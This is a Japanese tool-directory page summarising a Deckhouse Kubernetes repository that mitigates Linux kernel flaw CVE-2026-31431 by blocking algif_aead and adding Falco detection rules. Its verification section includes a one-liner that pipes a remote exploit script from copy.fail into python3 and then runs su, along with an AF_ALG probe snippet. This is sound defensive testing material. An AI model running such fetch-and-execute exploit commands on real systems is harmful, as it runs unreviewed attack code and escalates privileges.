Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
d8-copy-fail-mitigation — KubernetesネイティブなCVE-2026-31431対策:自動カーネルモジュールブロック、ランタイムFalco検出ルール、およびDeckhouseクラスタ向けbashibleベースのノード設定。 | Kitploit
ツール/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
コンテナセキュリティ脆弱性分析構成監査クラウドセキュリティ侵入検知インシデントレスポンス
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

KubernetesネイティブなCVE-2026-31431対策:自動カーネルモジュールブロック、ランタイムFalco検出ルール、およびDeckhouseクラスタ向けbashibleベースのノード設定。

リポジトリを見る
23ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 に対する Deckhouse Kubernetes Platform の緩和策

言語: 英語 | Русский

脆弱性について

CVE-2026-31431 は、Linux カーネルの algif_aead モジュールにおける脆弱性です。このモジュールは、AF_ALG ソケットファミリを通じてカーネル暗号 API をユーザ空間に公開します。AEAD(認証付き暗号化と関連データ)インターフェースの欠陥により、ローカルの非特権ユーザーが細工された scattter-gather リストを送信することでカーネル内でメモリ破損を引き起こし、ローカル権限昇格やサービス拒否を引き起こす可能性があります。

脆弱な攻撃対象は、socket(AF_ALG, SOCK_SEQPACKET, 0) を呼び出し、aead タイプのアルゴリズムにバインドすることが許可されているすべてのプロセス(非特権コンテナを含む)から到達可能です。デフォルトの seccomp プロファイルを削除しない、または socket システムコールファミリを制限しないコンテナランタイムは、クラスタノードを攻撃にさらすことになります。

推奨される緩和策は、アップストリームのカーネルパッチが OS パッケージの更新を通じて展開されるまで、すべてのクラスタノードで algif_aead カーネルモジュールを無効にし、ランタイムで攻撃試行を検出することです。

このリポジトリのファイル

このリポジトリには、Deckhouse 管理クラスタで CVE-2026-31431 を緩和するために必要なすべてが含まれています。

ngc-cve-2026-31431.yaml — ノード側の緩和策

NodeGroupConfiguration は各ノードで bashible を通じて実行され、次の 4 つの手順を実行します。

  1. プローブ — AF_ALG ソケットを開き、aead/gcm(aes) にバインドして、ノード上で脆弱なインターフェースに到達可能かどうかを判断します。
  2. ブロック — /etc/modprobe.d/disable-algif.conf に install ディレクティブを書き込み、algif_aead(およびその上位の af_alg)が手動または依存関係として再度ロードされるのを防ぎます。
  3. アンロード — モジュールが現在ロードされている場合は rmmod algif_aead を実行します。モジュールがカーネルに組み込まれている場合はスキップされます(その場合はブロックリストとランタイム検出のみが適用されます)。
  4. 確認 — プローブを再実行し、AEAD インターフェースにまだ到達可能な場合は bashible ステップを失敗(終了コード非ゼロ)にして、bashible ステータス上でノードが未緩和であることを示します。

冪等性があります。既に緩和済みのノードで設定を再実行しても効果はありません。

far-cve-2026-31431.yaml — ランタイム検出

FalcoAuditRules リソースは、プロセスが AF_ALG ソケットを開き、それを aead アルゴリズムにバインドする(この攻撃に特有のシステムコールパターン)たびに Critical イベントをトリガーするカスタム Falco ルールを追加します。また、プロセスが modprobe/insmod を介して algif_aead モジュールをロードしようとした場合に Warning イベントを発行します。緩和済みノードではこれは決して成功すべきではなく、悪用試行またはオペレータの設定ミスの強力なシグナルとなります。

エディションに関する注記: FalcoAuditRules は runtime-audit-engine モジュールによって調整されます。このモジュールは Deckhouse Enterprise Edition (EE) および Certified Security Edition (CSE) でのみ提供されます。Community Edition ではこのリソースは処理されません。このリポジトリの NodeGroupConfiguration は引き続き適用され、主要な緩和策となります。

適用

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE のみ:
kubectl apply -f far-cve-2026-31431.yaml

収束を待つ

各 NodeGroup のステータスを監視して、設定がすべてのノードに適用されるのを待ちます。Bashible はステップごとの成功を NodeGroup に報告し、Deckhouse はそれを 2 つのフィールドに集約してポーリングできます。

  • .status.upToDate — 現在の設定で最新の bashible 実行が成功したノードの数。すべてのグループで upToDate == nodes になると収束したことになります。
  • .status.conditionSummary.ready — グループが正常になると "True" になります。いずれかのノードの bashible ステップが失敗した場合(修正が適用できなかったノードで NodeGroupConfiguration の確認ステップが正確に行うことです)、"False" に反転し、理由が人間が読める形式で .status.conditionSummary.statusMessage に表示されます。

全グループを一度に確認するには:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

スクリプト可能なチェック(すべてのグループが収束した場合のみ終了コード 0):

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

conditionSummary.ready == "False" で NodeGroup が停止している場合は、.status.conditionSummary.statusMessage を読んでください。失敗した bashible ステップ(この緩和策の確認ステップを含む)が表示されます。

ロールバック

公式修正を含むアップストリームカーネルパッケージがすべてのノードにインストールされたら、両方のリソースを削除します。

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

NodeGroupConfiguration を削除しても、/etc/modprobe.d/disable-algif.conf は自動的には削除されません。モジュールを再度ロード可能にしたい場合は手動でクリーンアップするか、クラスタ上のどのワークロードもカーネル暗号 API を使用しない場合はブロックリストをそのままにしておいてください。

手動確認

クラスタ全体:

root@kitploit:~
kubectl get nodegroups

UPTODATE が NODES と等しく、すべてのグループでステータスメッセージ列が空であるべきです。

ノード上(SSH または kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

期待される結果:

  • cat は 4 行の install / blacklist を表示します。
  • lsmod は空です。
  • modprobe -n -v は install /bin/false を出力します。
  • modprobe は exit=1 を返します。

Falco ルールのトリガー確認

このサブセクションを使用して、CVE-2026-31431 用のカスタム FalcoAuditRules が各 PoC 実行時に実際にトリガーされることを検証します。

両方のシナリオに共通の事前チェック:

  1. すべてのノードで runtime-audit-engine が正常であることを確認します。
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

期待される結果: DESIRED == READY == AVAILABLE。

  1. ルールを適用/更新します。
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. ログストリームを開始します(オプション、別のターミナルで):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

コンテナからの確認

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# 重要: -i を使用して Python が stdin スクリプトを受け取るようにする
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

クリーンアップ:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

クラスタホストからの確認

セキュリティ警告: ダウンロードしたスクリプトは実行前に必ずレビューしてください。本番環境ではリモートスクリプトを盲目的に実行しないでください。

推奨(まずレビューしてから実行):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

同等のワンライナー(レビュー/承認後にのみ):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

検出結果を確認:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
ツールをダウンロード
ファイル目的
ngc-cve-2026-31431.yaml脆弱なインターフェースをプローブし、algif_aead のロードをブロックし、現在ロードされている場合はモジュールをアンロードし、修正が有効であることを確認する NodeGroupConfiguration。すべてのバンドルとノードグループに適用されます。
far-cve-2026-31431.yamlAF_ALG ソケットが AEAD アルゴリズムにバインドされた際のランタイムでの脆弱性悪用試行を検出する FalcoAuditRules。Deckhouse Enterprise Edition (EE) および Certified Security Edition (CSE) でのみ利用可能です。runtime-audit-engine モジュールがこれらのエディションに含まれているためです。